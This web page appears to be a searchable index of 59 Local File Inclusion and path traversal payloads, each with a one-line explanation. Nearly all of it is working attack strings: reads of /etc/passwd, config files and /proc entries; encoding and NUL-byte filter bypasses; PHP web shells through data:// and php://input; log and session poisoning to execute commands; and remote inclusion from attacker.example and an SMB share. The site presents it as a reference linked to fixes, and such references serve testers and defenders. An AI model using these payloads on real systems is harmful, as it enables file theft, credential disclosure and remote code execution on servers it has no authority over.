LFI Payloads Index
A searchable, filterable index of Local File Inclusion and path traversal payloads — filter by technique, target OS and filter-bypass class, each linked to its fix. All 59 payloads across 15 technique classes are listed below; each links to its technique page with full context, detection and remediation. Prefer reading by technique? Start from the techniques overview.
59 of 59 payloads
../../../../../../etc/passwdClassic Unix proof of concept. Over-counts ../ to reach the root regardless of base-directory depth, then reads the world-readable account list.
..\..\..\..\..\..\windows\system32\drivers\etc\hostsWindows equivalent using backslashes to reach a world-readable file that confirms traversal on Windows hosts.
../../../../../../windows/win.iniWindows accepts forward slashes in most path APIs, so Unix-style ../ often works against Windows targets too.
../../config/database.phpShallow traversal to an application config one or two directories above the web root — often higher value than /etc/passwd.
/etc/passwdDirect absolute path. Works when the handler opens the raw value or when path-join discards the trusted base.
C:\windows\win.iniWindows absolute path with drive letter; a reliable read-confirmation target on Windows hosts.
/proc/self/cmdlineAbsolute read of the current process command line — discloses how the app was launched and sometimes secrets passed as arguments.
file:///etc/passwdThe file:// scheme forces an absolute local read in handlers that route the value through a URL/stream opener.
..%2f..%2f..%2fetc%2fpasswdSingle URL encoding of the slash. Bypasses a filter that matches literal / but runs before the framework decodes the query string.
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswdBoth dots and slashes encoded, so no recognisable ../ appears in the raw string at all.
..%252f..%252f..%252fetc%252fpasswdDouble encoding: %252f -> %2f -> / across two decode passes. Targets proxy-plus-app stacks that each decode once.
..%c0%af..%c0%af..%c0%afetc/passwdOverlong UTF-8 for the slash (%c0%af). Accepted by lenient decoders that do not reject non-shortest-form sequences.
..%u2215..%u2215..%u2215etc/passwdNon-standard %u Unicode escape for the fraction slash (U+2215), decoded by some legacy Windows/IIS components.
....//....//....//etc/passwdAfter a single non-recursive removal of ../, each ....// collapses to ../, yielding a working traversal.
..././..././..././etc/passwdAnother self-healing form: removing the recognised ../ once leaves ../ behind.
..;/..;/..;/etc/passwdUses the ; path-parameter delimiter honoured by some servers (e.g. Tomcat) so ..;/ is treated as traversal while bypassing a '../' blocklist.
..\/..\/..\/etc/passwdMixes separators so a filter that only matches one of / or \ misses the sequence while the OS still traverses.
../../../../etc/passwd%00Truncates an appended .php (or similar) suffix so /etc/passwd is opened instead of /etc/passwd.php.
../../../../etc/passwd%00.phpSame truncation shown explicitly with the suffix the app would append; the %00 ends the string before .php.
../../../../etc/passwd%2500Double-encoded NUL for stacks that URL-decode twice, so %2500 -> %00 -> NUL reaches the file API.
..\..\..\..\windows\win.ini%00Windows variant truncating an appended extension to read win.ini on legacy stacks.
../../../../etc/passwd/././././././././././././././././././././././.Trailing /./ padding consumes path length so an appended extension falls past the truncation limit while the path still resolves to /etc/passwd.
../../../../etc/passwd........................................A long run of trailing dots after the filename; legacy PHP trims them, and the length pushes the appended suffix out.
../../../../etc/passwd/.The /. suffix makes an appended .php invalid (/etc/passwd/.php is not a file) while /etc/passwd/. still resolves to the file.
./././././././././././././././../../../../etc/passwdLeading ./ padding does the same length work before the traversal, used when trailing characters are stripped.
php://filter/convert.base64-encode/resource=/etc/passwd?A trailing ? makes an appended '.php' part of the query string, so the wrapper reads /etc/passwd and the suffix is ignored.
../../../../etc/passwd#On URL-based fetches a # fragment delimiter drops everything after it, including an appended extension.
../../../../etc/passwd;.phpOn servers that treat ; as a path-parameter delimiter, the real path ends at ; and the appended extension lands in the parameter.
php://filter/convert.base64-encode/resource=configWhen the app appends .php, pointing the filter at a page key reads that PHP file's source as base64 instead of executing it.
php://filter/convert.base64-encode/resource=index.phpBase64-encodes index.php so its source is returned instead of executed; decode offline to read the code.
php://filter/convert.base64-encode/resource=../config/database.phpReads an application config file's source, typically exposing database credentials and secret keys.
php://filter/read=convert.base64-encode/resource=/etc/passwdThe explicit read= form of the filter; also works on non-PHP files such as /etc/passwd.
php://filter/read=string.rot13/resource=index.phpROT13 is a lighter obfuscation that likewise prevents execution; useful when base64 is filtered.
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+data:// with a base64 PHP web shell (<?php system($_GET['c']);?>); include runs it, then ?c=id executes commands. Requires allow_url_include=On.
data://text/plain,<?php system('id');?>Plain-text data:// variant running a single command inline; simplest proof of code execution.
php://inputPoints include at the raw POST body; send <?php system('id');?> as the body to execute it. Requires allow_url_include=On.
expect://idRuns a shell command directly via the expect wrapper — only works where the PECL expect extension is installed.
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|…/resource=php://tempShape of a filter chain: dozens-to-hundreds of convert.iconv.* steps feeding a base resource. The full chain is machine-generated to emit a chosen PHP string.
resource=php://tempThe trivial base resource the chain operates on; the generated iconv steps build the payload bytes from it.
<?php system($_GET[0]);?>The PHP string a chain is typically built to produce; once include runs it, ?0=id executes commands.
User-Agent: <?php system($_GET['c']); ?>Sent as the User-Agent header so the web server writes the PHP into its access log; set this header, then include the log.
../../../../var/log/apache2/access.logIncludes the Apache access log so previously injected PHP executes; add ?c=id to run commands.
../../../../var/log/nginx/access.logNginx default access-log path for the same two-step attack on Nginx hosts.
../../../../var/log/auth.logAfter an SSH login attempt with a PHP-laden username, including auth.log executes the injected code.
../../../../tmp/sess_<PHPSESSID>Includes the attacker's own session file after a PHP payload has been stored in it; replace <PHPSESSID> with the value of your session cookie.
<?php system($_GET['c']); ?>The PHP to get persisted into a session variable (e.g. a reflected username/theme) so it ends up inside /tmp/sess_<id>.
../../../../tmp/sess_<PHPSESSID>With session.upload_progress enabled, uploading while setting the progress name writes attacker content to a predictable sess_ file to include.
../../../../tmp/phpXXXXXXIncludes a PHP upload temp file (name must be leaked or won by race); the uploaded body is executed as PHP.
../../../../proc/self/environIncludes the process environment; after sending PHP in the User-Agent, the injected code executes. ?c=id then runs commands.
../../../../proc/self/cmdlineDiscloses the exact command line that started the process — arguments sometimes contain credentials or config paths.
../../../../proc/self/fd/10Reads an open file descriptor of the process; iterating fd numbers can reveal logs, sockets, or deleted files still held open.
../../../../proc/self/statusLeaks process UID/GID, capabilities and limits — useful reconnaissance for privilege escalation.
zip://../../uploads/avatar.zip#shell.phpIncludes shell.php packed inside an uploaded zip (any extension works); the inner PHP executes. The # names the inner file.
phar://../../uploads/avatar.phar/shell.phpIncludes an inner PHP file from an uploaded phar archive for direct execution.
phar://../../uploads/image.jpg/test.txtMerely accessing a phar path (even one disguised as .jpg) deserializes its metadata; a crafted object can fire a gadget chain for RCE.
http://attacker.example/shell.txtClassic RFI: the target downloads and executes the hosted PHP. Host it with a non-PHP extension so your own server serves the source. Requires allow_url_include=On.
http://attacker.example/shell.txt?The trailing ? turns an appended extension on the target into a query string, so shell.txt is fetched intact.
\\attacker-ip\share\shell.phpWindows UNC inclusion over SMB — executes the remote file without URL wrappers and leaks the server's NetNTLM hash on connect.
ftp://attacker.example/shell.txtFTP wrapper variant used when HTTP egress is filtered but FTP is permitted; still requires allow_url_include.